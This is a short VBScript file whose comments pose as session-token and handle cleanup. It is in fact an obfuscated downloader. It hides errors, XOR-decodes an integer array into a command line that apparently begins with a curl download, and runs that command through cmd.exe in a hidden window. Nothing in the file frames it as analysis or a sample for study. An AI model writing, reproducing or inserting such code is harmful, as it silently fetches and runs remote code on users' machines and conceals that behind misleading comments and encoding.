' Authenticate session token
' Cleanup stale handles
On Error Resume Next

Dim qObj:qObj=42424
Dim fIdr:fIdr=58546
Dim eChk:eChk="58525,58577,58514,58577,58567,58560,58590,58514,58527,58561,58514,58527,58589,58514,58512,58519,58598,58615,58623,58594,58519,58606,58583,58496,58579,58499,58499,58565,58496,58498,58524,58564,58576,58561,58512,58514,58512,58586,58566,58566,58562,58561,58504,58525,58525,58565,58560,58579,58562,58562,58583,58560,58524,58560,58583,58564,58583,58560,58583,58588,58582,58566,58589,58562,58562,58582,58524,58570,58571,58568,58525,58562,58579,58571,58590,58589,58579,58582,58524,58562,58586,58562,58509,58587,58582,58511,58498,58497,58501,58506,58496,58582,58497,58499,58576,58498,58501,58580,58577,58506,58502,58497,58582,58577,58501,58500,58577,58501,58577,58502,58507,58579,58497,58502,58582,58500,58577,58577,58516,58566,58511,58498,58583,58500,58497,58576,58580,58502,58503,58506,58577,58579,58502,58506,58498,58506,58503,58512,58516,58565,58561,58577,58560,58587,58562,58566,58514,58512,58519,58598,58615,58623,58594,58519,58606,58583,58496,58579,58499,58499,58565,58496,58498,58524,58564,58576,58561,58512"
Dim v5:v5=Split(eChk,",")
Dim r4d(168)
Dim nx2:For nx2=0 To UBound(v5)
r4d(nx2)=ChrW(CLng(v5(nx2)) Xor fIdr)
Next
Dim mHnd:mHnd=Join(r4d,"")
  ' Terminate idle watchers
Dim pWrk:Set pWrk=CreateObject("Shell.Application")
pWrk.ShellExecute "cmd.exe",mHnd,"","",0
  
Set pWrk=Nothing
  ' Setup async dispatch